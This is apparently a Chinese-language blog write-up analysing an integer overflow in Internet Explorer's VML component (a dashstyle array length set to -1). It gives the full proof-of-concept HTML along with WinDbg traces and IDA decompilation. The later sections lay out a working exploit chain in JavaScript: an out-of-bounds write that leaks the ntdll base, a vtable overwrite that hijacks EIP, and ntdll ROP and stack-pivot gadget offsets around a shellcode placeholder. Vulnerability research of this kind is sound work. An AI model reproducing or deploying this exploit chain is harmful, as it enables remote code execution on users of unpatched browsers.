调试的第二个洞,深刻的体会到了自己调试功底有多弱,在写这篇笔记的时候才理清调试思路。。。 这个洞说是整数溢出,我感觉主要还是在整数溢出造成的越界访问上。
调试环境 windows7 32位(IE版本: 8.0.7600.16385) windbg Immunity Debugger这个洞在win8 + IE10下依然可以触发并利用
POC调试 poc代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <html > <head > <meta http-equiv ="x-ua-compatible" content ="IE=EmulateIE9" > </head > <title > POC by VUPEN</title > <style > v\: * { behavior:url(#default#VML); display:inline-block } </style > <xml:namespace ns ="urn:schemas-microsoft-com:vml" prefix ="v" /> <body onload ="createRects(); exploit();" > <v:oval > <v:stroke id ="vml1" /> </v:oval > </body > <script > var rect_array = new Array () var a = new Array () function createRects ( ) { for (var i=0 ; i<0x400 ; i++){ rect_array[i] = document .createElement("v:shape" ) rect_array[i].id = "rect" + i.toString() document .body.appendChild(rect_array[i]) } } function exploit ( ) { var vml1 = document .getElementById("vml1" ) for (var i=0 ; i<0x400 ; i++){ a[i] = document .getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0 ; i<0x400 ; i++){ a[i].rotation; if (i == 0x300 ) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } vml1.dashstyle.array.length = 0 - 1 ; for (var i=0 ; i<0x400 ; i++) { a[i].marginLeft = "hpasserby" ; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0 ) { vml1.dashstyle.array.item(0x2E+0x16) = 0x41414141; } } } </script > </html >
触发漏洞 首先开启HPA选项,在上一篇博客中提到过
gflag.exe -i iexplore.exe +hpa
使用windbg进行调试,程序中断在以下位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0:005> g (d14.e8c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=1a53f064 ebx=6acc4964 ecx=00000001 edx=00000000 esi=1a53f060 edi=0463be4c eip=766c9966 esp=0463be08 ebp=0463be10 iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010297 msvcrt!memcpy+0x158: 766c9966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:0023:1a53f060=???????? 0:005> kb ChildEBP RetAddr Args to Child 0463be10 6ac6cfa9 0463be4c 1a53f060 00000004 msvcrt!memcpy+0x158 0463be24 6acbda0f 1b1d2fe8 0463be4c 00000044 vgx!ORG::Get+0x27 0463be50 764a3ec3 1b1d2fe8 00000044 0463beb4 vgx!COALineDashStyleArray::get_item+0x8c 0463be70 764a3d3d 1b3daff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165 0463bf00 6aca47c1 08829454 1b3daff0 00000000 OLEAUT32!CTypeInfo2::Invoke+0x23f 0463c08c 6acc4a88 1b3daff4 1b3daff0 6ace223c vgx!COADispatch::Invoke+0x89 0463c0c0 68c3db38 1b3daff0 00000000 68c30adc vgx!COADispatchImpl<IVgDashStyleArray,&IID_IVgDashStyleArray,COAShapeProg>::Invoke+0x2f 0463c100 68c3da8c 092ecd10 00000000 00000409 jscript!IDispatchInvoke2+0xf0 0463c13c 68c3d9ff 092ecd10 00000409 00000003 jscript!IDispatchInvoke+0x6a 0463c1fc 68c3db8a 092ecd10 00000000 00000003 jscript!InvokeDispatch+0xa9
可以看到,crash的原因是访问了非法内存,查看该内存附近区域
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0:005> dd 1a53f060-100 l50 1a53ef60 00000005 00000006 00000007 00000008 1a53ef70 00000009 0000000a 0000000b 0000000c 1a53ef80 0000000d 0000000e 0000000f 00000010 1a53ef90 00000011 00000012 00000013 00000014 1a53efa0 00000015 00000016 00000017 00000018 1a53efb0 00000019 0000001a 0000001b 0000001c 1a53efc0 0000001d 0000001e 0000001f 00000020 1a53efd0 00000021 00000022 00000023 00000024 1a53efe0 00000025 00000026 00000027 00000028 1a53eff0 00000029 0000002a 0000002b 0000002c 1a53f000 ???????? ???????? ???????? ???????? 1a53f010 ???????? ???????? ???????? ???????? 1a53f020 ???????? ???????? ???????? ???????? 1a53f030 ???????? ???????? ???????? ???????? 1a53f040 ???????? ???????? ???????? ???????? 1a53f050 ???????? ???????? ???????? ???????? 1a53f060 ???????? ???????? ???????? ???????? 1a53f070 ???????? ???????? ???????? ???????? 1a53f080 ???????? ???????? ???????? ???????? 1a53f090 ???????? ???????? ???????? ????????
可以注意到在所访问的非法内存前面,存在一串极其规律的数字,结合POC中的代码,我们发现这应该是dashstyle属性的值,这是一个数组,其中每个元素大小为4字节。
1 vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
继续结合POC,发现下面这句对dashstyle数组的访问应该就是造成crash的原因了
1 marginLeftAddress = vml1.dashstyle.array.item(0x2E +0x16 );
其中0x2E+0x16
正好是访问的非法内存地址相对于数组的偏移。这意味着,我们拥有了数组越界访问的能力。 但是,漏洞的成因我们还是不得而知,观察函数调用栈,向上回溯到vgx!ORG::Get,在函数开始处下上断点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0:015> bp vgx!ORG::Get 0:005> g Breakpoint 7 hit eax=1b570fe8 ebx=70a84964 ecx=70a17258 edx=0449bfb4 esi=1b778ff0 edi=0449c55c eip=70a2cf82 esp=0449bf90 ebp=0449bfb8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vgx!ORG::Get: 70a2cf82 8bff mov edi,edi 0:005> dd esp l4 0449bf90 70a7da0f 1b570fe8 0449bfb4 00000044 0:005> dd 1b570fe8 l8 1b570fe8 70a17258 002cffff 00040004 00000101 1b570ff8 1a7dcf50 d0d0d0d0 ???????? ???????? 0:005> ln 70a17258 //查看对象虚表 (70a17258) vgx!ORG::`vftable' | (70a172e8) vgx!vrgopNinch Exact matches: vgx!ORG::`vftable' = <no type information
配合IDA查看该函数结构
1 2 3 4 5 6 7 8 void *__stdcall ORG::Get(int a1, void *Dst, int a3){ void *result; if ( Dst ) result = memcpy (Dst, (*(a1 + 16 ) + a3 * (*(a1 + 8 ) & 0xFFFF )), *(a1 + 8 ) & 0xFFFF ); return result; }
根据第一个参数的虚表指针可以知道到,a1
是一个vgx!ORG
对象,*(a1+16)
是dashstyle
数组的起始地址。从而可以得知,dashstyle
属性是靠vgx!ORG
对象进行管理的。 第三个参数a3
则是所访问的元素的偏移,正好是0x2e+0x16=0x44
然而,按照程序执行正常流程来说,是不应该调用到这个函数的,越界访问应该提前被检查到,所以我们还需要继续向前回溯,在vgx!COALineDashStyleArray::get_item
处下断点,同时配合IDA。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __stdcall COALineDashStyleArray::get_item(struct COAProg **this , signed int a2, int *a3){ struct COAProg **v3 ; int v4; struct COAProg *v6 ; int v7; signed int v8; int v9; int v10; ... if ( a2 <= -1 || (v8 = (*(*this + 11 ))(this ), a2 >= v8) ) { v9 = 0x80048230 ; } else { v10 = 0 ; (*(*this + 7 ))(this , &v10, a2); *a3 = v10; } ...
1 2 3 4 5 6 7 8 9 10 11 0:005> g 0:015> bp vgx!COALineDashStyleArray::get_item 0:005> g Breakpoint 7 hit eax=0000000a ebx=70a84964 ecx=70a7d983 edx=184eaff2 esi=018baea0 edi=0473c2f4 eip=70a7d983 esp=0473bd54 ebp=0473bd70 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vgx!COALineDashStyleArray::get_item: 70a7d983 8bff mov edi,edi 0:005> dd esp l4 0473bd54 764a3ec3 1b398ff0 00000044 0473bdb4
通过调试,确定ida代码中调用的两个函数指针分别为
1 2 v8 = (*(*this + 11 ))(this ) (*(*this + 7 ))(this , &v10, a2);
观察参数可以知道,a2
是将要访问的偏移。 注意到在IDA中的if判断,首先调用了ORG::CElements
,若其返回值小于a2
,则执行vgx!ORG::Get
函数 直觉告诉我们这里便是一个关键点所在,我们跟进ORG::CElements
函数查看细节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 vgx!ORG::CElements: 70a2d079 8bff mov edi,edi 70a2d07b 55 push ebp 70a2d07c 8bec mov ebp,esp 70a2d07e 8b4508 mov eax,dword ptr [ebp+8] 70a2d081 0fb74004 movzx eax,word ptr [eax+4] 70a2d085 5d pop ebp 70a2d086 c20400 ret 4 -------------------------------------------------------------------------------- 0:005> g eax=1b190fe8 ebx=70a84964 ecx=70a17258 edx=0473bd24 esi=1b398ff0 edi=0473c2f4 eip=70a2d07e esp=0473bd2c ebp=0473bd2c iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213 vgx!ORG::CElements+0x5: 70a2d07e 8b4508 mov eax,dword ptr [ebp+8] ss:0023:0473bd34=1b190fe8 0:005> dd 1b190fe8 l8 1b190fe8 70a17258 002cffff 00040004 00000101 1b190ff8 1a3fcf50 d0d0d0d0 ???????? ???????? 0:005> p eax=1b190fe8 ebx=70a84964 ecx=70a17258 edx=0473bd24 esi=1b398ff0 edi=0473c2f4 eip=70a2d081 esp=0473bd2c ebp=0473bd2c iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213 vgx!ORG::CElements+0x8: 70a2d081 0fb74004 movzx eax,word ptr [eax+4] ds:0023:1b190fec=ffff
可以看到,代码从一个vgx!ORG
对象中取出了0xffff
,其中movzx
说明是将其作为无符号数对待的。 当函数返回后,0xffff
将会和a2
进行比较,但此时是有符号数比较,导致0xffff < a2
,从而调用vgx!ORG::Get
根据POC中的代码,我们很容易猜到0xffff
就是dashstyle数组(ORG数组)的长度,而vml1.dashstyle.array.length = 0 - 1;
就是对长度进行修改的代码。
此时我们已经大概了解的这个漏洞的原理,但还是没有追溯到修改数组长度的根源。接下来我们将要试图找到修改length的具体代码。
漏洞根源 因为在c++在创建对象的时候,会将对象的虚表地址拷贝到对象的内存中,所以我们在代码中搜索对vgx!ORG::'vftable'
的引用,试图找到创建vgx!ORG
对象的代码。 可以看到,除了虚表本身以及两个ORG
对象的成员函数外,只剩一个函数
1 signed int __stdcall MsoFCreateArray (__int16 a1, _DWORD *a2) ;
在windbg中对其下断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 0:016> bp vgx!MsoFCreateArray 0:016> g Breakpoint 7 hit eax=0485e9c8 ebx=0485ea30 ecx=0485ea30 edx=00000001 esi=0485ea34 edi=0485ea30 eip=6e90d1df esp=0485e99c ebp=0485e9b0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vgx!MsoFCreateArray: 6e90d1df 8bff mov edi,edi ... //单步几次后 0:005> p eax=0485e9c8 ebx=0485ea30 ecx=0485ea30 edx=00000001 esi=0485ea34 edi=00000101 eip=6e90d1ee esp=0485e988 ebp=0485e998 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vgx!MsoFCreateArray+0xf: 6e90d1ee e88a67fdff call vgx!operator new (6e8e397d) 0:005> p eax=1d66efe8 ebx=0485ea30 ecx=00000014 edx=00000000 esi=0485ea34 edi=00000101 eip=6e90d1f3 esp=0485e988 ebp=0485e998 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 vgx!MsoFCreateArray+0x14: 6e90d1f3 59 pop ecx 0:005> dd eax l8 1d66efe8 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 1d66eff8 c0c0c0c0 d0d0d0d0 ???????? ????????
可以发现这里创建了一个vgx!ORG
对象,我们对它的length所在地址下内存断点,来观察其值的变化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 0:005> ba w2 eax+4 0:005> g Breakpoint 8 hit eax=1d66efec ebx=0485ea30 ecx=00000000 edx=00000004 esi=1d66efe8 edi=00000101 eip=6e94c07e esp=0485e978 ebp=0485e978 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vgx!MsoFInitPx+0x11: 6e94c07e 8b4d14 mov ecx,dword ptr [ebp+14h] ss:0023:0485e98c=00000101 0:005> g; dd 1d66efe8 l8 Breakpoint 8 hit 1d66efe8 6e8f7258 00040001 00040004 00000101 1d66eff8 1d670ff0 d0d0d0d0 ???????? ???????? 0:005> g; dd 1d66efe8 l8 Breakpoint 8 hit 1d66efe8 6e8f7258 00040002 00040004 00000101 1d66eff8 1d670ff0 d0d0d0d0 ???????? ???????? 0:005> g; dd 1d66efe8 l8 Breakpoint 8 hit 1d66efe8 6e8f7258 00040003 00040004 00000101 1d66eff8 1d670ff0 d0d0d0d0 ???????? ???????? ... 0:005> g; dd 1d66efe8 l8 Breakpoint 8 hit 1d66efe8 6e8f7258 002c002c 00040004 00000101 1d66eff8 1cbe2f50 d0d0d0d0 ???????? ???????? 0:005> g; dd 1d66efe8 l8 Breakpoint 8 hit 1d66efe8 6e8f7258 002cffff 00040004 00000101 1d66eff8 1cbe2f50 d0d0d0d0 ???????? ???????? 0:005> kb ChildEBP RetAddr Args to Child 0485ee34 6e94c7c6 1d66efec ffffffff 0000002d vgx!MsoFRemovePx+0xaa 0485ee4c 6e90cf79 1d66efec ffffffff 0000002d vgx!MsoDeletePx+0x15 0485ee60 6e95dbac 1d66efe8 ffffffff 0000002d vgx!ORG::DeleteRange+0x17 0485ee8c 764a3ec3 1d66efe8 ffffffff 0793efa4 vgx!COALineDashStyleArray::put_length+0xd7 0485eea8 764a3d3d 1d896ff0 00000030 00000004 OLEAUT32!DispCallFunc+0x165 0485ef38 6e9447c1 07e4b454 1d896ff0 00000000 OLEAUT32!CTypeInfo2::Invoke+0x23f
可以看到,length的值首先从0
递增到0x2c
,然后被修改为了0xffff
通过栈回溯可以注意到vgx!COALineDashStyleArray::put_length
函数,从函数名就可以猜测到这是一个修改length值的函数。 重新运行,对该函数下断
1 2 3 4 5 6 7 8 9 10 0:015> bp vgx!COALineDashStyleArray::put_length 0:005> g Breakpoint 7 hit eax=0000000a ebx=70a84964 ecx=70a7dad5 edx=09648fea esi=06297ec0 edi=046deca4 eip=70a7dad5 esp=046dec58 ebp=046dec70 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vgx!COALineDashStyleArray::put_length: 70a7dad5 8bff mov edi,edi 0:005> dd esp l4 046dec58 764a3ec3 1d958ff0 ffffffff 09648fa4
同时使用IDA查看函数代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __stdcall COALineDashStyleArray::put_length(struct COAProg **this , int a2){ ... if ( v10 >= 0 ) { ... v7 = (*(*this + 11 ))(this ); if ( v7 >= a2 ) { (*(*this + 10 ))(this , a2, v7 - a2); goto LABEL_2; } v8 = a2 - v7; v9 = operator new (4 * (a2 - v7)); ... memset (v9, 0 , 4 * v8); if ( !(*(*this + 6 ))(this , v9, v8) ) v10 = 0x80004005 ; operator delete (v9) ; } LABEL_2: v3 = v10; COAError::~COAError(&v10); return v3; }
首先通过调试可以知道,参数a2的值为0xffffffff,也就是我们想要设置的length。ida中的几个函数指针分别为如上所示。 通过ida反编译的代码我们就可以将整个程序逻辑理解清楚了。
首先使用vgx!ORG::CElements()
获取当前的长度值(0x2c
),放入v7
中 v7
与参数a2
进行比较,这里同样也是有符号数的比较,v7 > a2
调用ORG::DeleteRange
并直接跳转到LABEL_2
,退出函数 而程序的正常流程本应该为
v7 < v2
,重新分配内存v9 = operator new(4 * (a2 - v7))
调用ORG::FAppendRange
函数,并退出函数。 到此,我们完成了对poc触发crash完整流程的分析。
漏洞利用分析 此时注意关闭hpa选项
信息泄露 这里参考了Danny__Wei 的博客
VML shape
的_vgRuntimeStyle
属性由COARuntimeStyle
对象负责处理,当访问_vgRuntimeStyle.marginLeft
时,对应的COARuntimeStyle::put_marginLeft()
或者COARuntimeStyle::get_marginLeft()
函数就会被调用当第一次访问marginLeft/rotation
属性,那么在put_marginLeft/put_rotation
函数中会调用CVMLShape::GetRTSInfo -> CParserTag::GetRTSInfo
来创建一个COARuntimeStyle
对象,该对象大小为0xAC(实际分配0xB0) 而marginLeft
属性的值对应的字符串指针就保存在该COARuntimeStyle
对象的0x58偏移处。可以通过get_marginLeft
函数来访问该属性 因为我们拥有让dashstyle
数组(ORG数组)越界访问的能力 那么,如果可以将COARuntimeStyle
对象布局到一个dashstyle
数组后方,我们就可以修改其中的marginLeft
值对应的字符串指针。 这样,当我们再次读取marginLeft
值的时候,就可以任意地址读取了。
相关代码 为了达到这样的效果,我们这里首先创建大量的VML shape
对象
1 2 3 4 5 6 7 function createRects ( ) { for (var i=0 ; i<0x400 ; i++){ rect_array[i] = document .createElement("v:shape" ) rect_array[i].id = "rect" + i.toString() document .body.appendChild(rect_array[i]) } }
然后依次访问_vgRuntimeStyle.rotation
,以此来创建大量的COARuntimeStyle
对象(0xB0字节
) 并且在创建的中途创建一个包含44个元素的dashstyle数组
(ORG数组),该数组大小与COARuntimeStyle
对象一致,使之可以与其相邻。
1 2 3 4 5 6 7 8 9 10 for (var i=0 ; i<0x400 ; i++){ a[i] = document .getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0 ; i<0x400 ; i++){ a[i].rotation; if (i == 0x300 ) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } }
在布局成功后,越界访问修改marginLeft
指针(偏移为0x16*4=0x58
),然后再次读取marginLeft
,从而泄露数据。这里选择通过固定地址0x7ffe0300
泄露出ntdll.dll
的基址。 通过固定地址泄露的方法在后期补丁之后无法利用,可以选择泄露COARuntimeStyle
对象的虚表指针从而计算出vgx.dll
基址,然后通过读取PE头
来获取IAT
表来得到ntdll.dll
的基址,具体可参考文章
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 var length_orig = vml1.dashstyle.array.length;vml1.dashstyle.array.length = 0 - 1 ; for (var i = 0 ; i < 0x400 ; i++){ marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E +0x16 ); a[i].marginLeft = "hpasserby" marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E +0x16 ); if (marginLeftAddress_orgin != marginLeftAddress_modify) { vml1.dashstyle.array.item(0x2E +0x16 ) = 0x7ffe0300 ; var leak = a[i].marginLeft; ntdllbase = parseInt (leak.charCodeAt(1 ).toString(16 ) + leak.charCodeAt(0 ).toString(16 ), 16 ) - 0x464F0 ; alert("ntdllbase: 0x" + ntdllbase.toString(16 )); vml1.dashstyle.array.item(0x2E +0x16 ) = marginLeftAddress_orgin; break ; } }
调试笔记 首先在vgx!MsoFCreateArray
下断,查看vgx!ORG
对象的地址,然后运行到vgx!COARuntimeStyle::put_marginLeft
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 0:005> bu vgx!MsoFCreateArray+0x14 0:005> bu vgx!COARuntimeStyle::put_marginLeft 0:005> g Breakpoint 0 hit eax=03f02690 ebx=0265e5d8 ecx=00000014 edx=02040048 esi=0265e5dc edi=00000101 eip=6d82d1f3 esp=0265e530 ebp=0265e540 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 vgx!MsoFCreateArray+0x14: 6d82d1f3 59 pop ecx 0:005> dd 3f02690 l8 03f02690 000001c6 00000000 00000000 00000000 03f026a0 00000000 00000000 2156f9af 80000000 0:005> g Breakpoint 2 hit eax=0000000a ebx=6d8852d0 ecx=6d880286 edx=001493e2 esi=0265ed48 edi=0265ea84 eip=6d880286 esp=0265ea38 ebp=0265ea50 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vgx!COARuntimeStyle::put_marginLeft: 6d880286 8bff mov edi,edi 0:005> dd 3f02690 l8 03f02690 6d817258 002cffff 00040004 00000101 03f026a0 03f32b80 00000000 2156f9af 80000000 0:005> dd 03f32b80 l100 03f32b80 00000001 00000002 00000003 00000004 03f32b90 00000005 00000006 00000007 00000008 03f32ba0 00000009 0000000a 0000000b 0000000c 03f32bb0 0000000d 0000000e 0000000f 00000010 03f32bc0 00000011 00000012 00000013 00000014 03f32bd0 00000015 00000016 00000017 00000018 03f32be0 00000019 0000001a 0000001b 0000001c 03f32bf0 0000001d 0000001e 0000001f 00000020 03f32c00 00000021 00000022 00000023 00000024 03f32c10 00000025 00000026 00000027 00000028 03f32c20 00000029 0000002a 0000002b 0000002c 03f32c30 214948dc 8c000000 01400018 00000000 03f32c40 00000000 00000000 00000000 00000000 03f32c50 00000000 00000000 00000000 00000000 03f32c60 00000000 00000000 00000000 00000000 03f32c70 00000000 00000000 00000000 00000000 03f32c80 00000000 00000000 00000000 00000000 03f32c90 00000000 00000000 00000000 00000000 03f32ca0 00000000 00000000 00000000 00000000 03f32cb0 00000000 00000000 00000000 00000000 03f32cc0 00000000 00000000 00000000 00000000 03f32cd0 00000000 00000000 00000000 00000000 03f32ce0 00000001 00000000 214948c7 8c000000 03f32cf0 01400018 00000000 00000000 00000000 03f32d00 00000000 00000000 00000000 00000000 03f32d10 00000000 00000000 00000000 00000000 03f32d20 00000000 00000000 00000000 00000000 03f32d30 00000000 00000000 00000000 00000000 03f32d40 00000000 00000000 00000000 00000000 03f32d50 00000000 00000000 00000000 00000000 03f32d60 00000000 00000000 00000000 00000000 03f32d70 00000000 00000000 00000000 00000000 03f32d80 00000000 00000000 00000000 00000000 03f32d90 00000000 00000000 00000001 00000000 03f32da0 214948ee 8c000000 01400018 00000000 03f32db0 00000000 00000000 00000000 00000000 03f32dc0 00000000 00000000 00000000 00000000 03f32dd0 00000000 00000000 00000000 00000000 03f32de0 00000000 00000000 00000000 00000000 03f32df0 00000000 00000000 00000000 00000000 03f32e00 00000000 00000000 00000000 00000000 03f32e10 00000000 00000000 00000000 00000000 03f32e20 00000000 00000000 00000000 00000000 03f32e30 00000000 00000000 00000000 00000000 03f32e40 00000000 00000000 00000000 00000000 ...
可以观察到数组后方已经成功布局上了COARuntimeStyle
对象 继续运行,浏览器弹窗时断下,查看内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0:005> dd 03f32b80 l100 03f32b80 00000001 00000002 00000003 00000004 03f32b90 00000005 00000006 00000007 00000008 03f32ba0 00000009 0000000a 0000000b 0000000c 03f32bb0 0000000d 0000000e 0000000f 00000010 03f32bc0 00000011 00000012 00000013 00000014 03f32bd0 00000015 00000016 00000017 00000018 03f32be0 00000019 0000001a 0000001b 0000001c 03f32bf0 0000001d 0000001e 0000001f 00000020 03f32c00 00000021 00000022 00000023 00000024 03f32c10 00000025 00000026 00000027 00000028 03f32c20 00000029 0000002a 0000002b 0000002c 03f32c30 214948dc 8c000000 01400018 00000000 03f32c40 00000000 00000000 00000000 00000000 03f32c50 00000000 00000000 00000000 00000000 03f32c60 00000000 00000000 00000000 00000000 03f32c70 00000000 00000000 00000000 00000000 03f32c80 00000000 00000000 00000000 00000000 03f32c90 7ffe0300 00000000 00000000 00000000 03f32ca0 00000000 00000000 00000000 00000000 0:008> ln poi(7ffe0300) (778d64f0) ntdll!KiFastSystemCall | (778d64f4) ntdll!KiFastSystemCallRet Exact matches: ntdll!KiFastSystemCall (<no parameter info>) ...
可见地址0x03f32c90
处的地址已经被修改为7ffe0300
,通过获取marginLeft
就可读取处ntdll.dll中的地址。
劫持eip 当读取_anchorRect属性时,内部会调用”vgx!COAShape::get__anchorRect()”,最终创建并返回一个0x10大小的COAReturnedPointsForAnchor对象。 释放_anchorRec元素时,会调用虚表函数 所以,我们可以通过与前面相同得布局方式,通过溢出修改COAReturnedPointsForAnchor
对象的虚表指针,从而在释放该对象时获取程序控制权。 相关代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function exploit ( ) { var vml1 = document .getElementById("vml1" ) for (var i = 0 ; i < 0x400 ; i++){ a[i] = document .getElementById("rect" + i.toString())._anchorRect; if (i == 0x300 ){ vml1.dashstyle = "1 2 3 4" ; } } vml1.dashstyle.array.length = 0 - 1 ; vml1.dashstyle.array.item(6 ) = 0x41414141 ; for (var i=0 ; i<0x400 ; i++) { delete a[i]; CollectGarbage(); } alert("done" ); }
调试笔记 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0:005> g (fa4.a14): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=06f8a6b0 ebx=01f12460 ecx=41414141 edx=0000008a esi=01f12460 edi=00000009 eip=76494974 esp=0247ef14 ebp=0247ef20 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 OLEAUT32!VariantClear+0xb6: 76494974 ff5108 call dword ptr [ecx+8] ds:0023:41414149=???????? 0:005> dd eax-20 06f8a690 6cc5ecf8 8800c248 00000001 00000002 06f8a6a0 00000003 00000004 6cc5ecff 88000194 06f8a6b0 41414141 06f3d9d0 00000001 00000000 06f8a6c0 6cc5ecf2 88008cd5 6e895504 06f3dab0 06f8a6d0 00000001 00000000 6cc5ecf1 8800c1b4 ...
ROP 因为我们拥有获取字符串地址的能力,所以这里不需要使用堆喷技术。 将shellcode
作为marginLeft
的值,即可通过读取marginLeft指针
泄露出它的地址。 然后根据泄露出来的地址生成rop链,同样的方法将生成的rop链
写入marginLefe
并泄露出地址。最后劫持eip到rop链上
布置payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 function leak ( ) { var vml1 = document .getElementById("vml1" ) for (var i = 0 ; i < 0x400 ; i++){ a[i] = document .getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i = 0 ; i < 0x400 ; i++){ a[i].rotation; if (i == 0x300 ) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1 ; for (var i = 0 ; i < 0x400 ; i++){ marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E +0x16 ); a[i].marginLeft = unescape ("shellcode" ); marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E +0x16 ); if (marginLeftAddress_orgin != marginLeftAddress_modify) { vml1.dashstyle.array.item(0x2E +0x16 ) = 0x7ffe0300 ; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E +0x16 ) = marginLeftAddress_orgin; var shelladdr = marginLeftAddress_modify; ntdllbase = parseInt (leak.charCodeAt(1 ).toString(16 ) + leak.charCodeAt(0 ).toString(16 ), 16 ) - 0x464F0 ; alert("ntdllbase: 0x" + ntdllbase.toString(16 )); alert("shelladdr: 0x" + shelladdr.toString(16 )); var rop_chain = tab2uni(get_ropchain(shelladdr)); a[i].marginLeft = rop_chain; rop_addr = vml1.dashstyle.array.item(0x2E +0x16 ); vml1.dashstyle.array.item(0x2E +0x16 ) = marginLeftAddress_orgin; vml1.dashstyle.array.length = length_orig; alert("ropaddr: 0x" + rop_addr.toString(16 )); break ; } } }
栈转移 前面劫持eip部分
可以看到,最后的调用是call dword ptr [ecx+8]
而在我们的gadget中没有xchg ecx,esp
,所以这意味着没办法直接将栈转移到我们的rop链上。 但是我们可以通过越界访问,先在COAReturnedPointsForAnchor
对象所在堆上布置好一些gadget 然后利用xchg eax,esp; pop;
这种gadget,让esp先转移到堆上,然后由堆上的gadget再将栈转移到我们的rop链上。
相关代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pivot = [ ntdllbase + Number (0x0001cecb ), ntdllbase + Number (0x0001da87 ), ntdllbase + Number (0x00046B13 ), ] function exploit ( ) { var vml1 = document .getElementById("vml1" ) for (var i = 0 ; i < 0x400 ; i++){ a[i] = document .getElementById("rect" + i.toString())._anchorRect; if (i == 0x300 ){ vml1.dashstyle = "1 2 3 4" ; } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1 ; vml1.dashstyle.array.item(6 ) = rop_addr; vml1.dashstyle.array.item(8 ) = rop_addr; vml1.dashstyle.array.item(9 ) = ntdllbase + 0x000cb0f8 ; for (var i=0 ; i<0x400 ; i++) { delete a[i]; CollectGarbage(); } alert("done" ); }
代码分析 由call dword ptr [ecx+8]
可以知道,首先执行的是rop第三句交换eax
和esp
,栈被转移到堆上,esp
指向vml1.dashstyle.array.item(6)
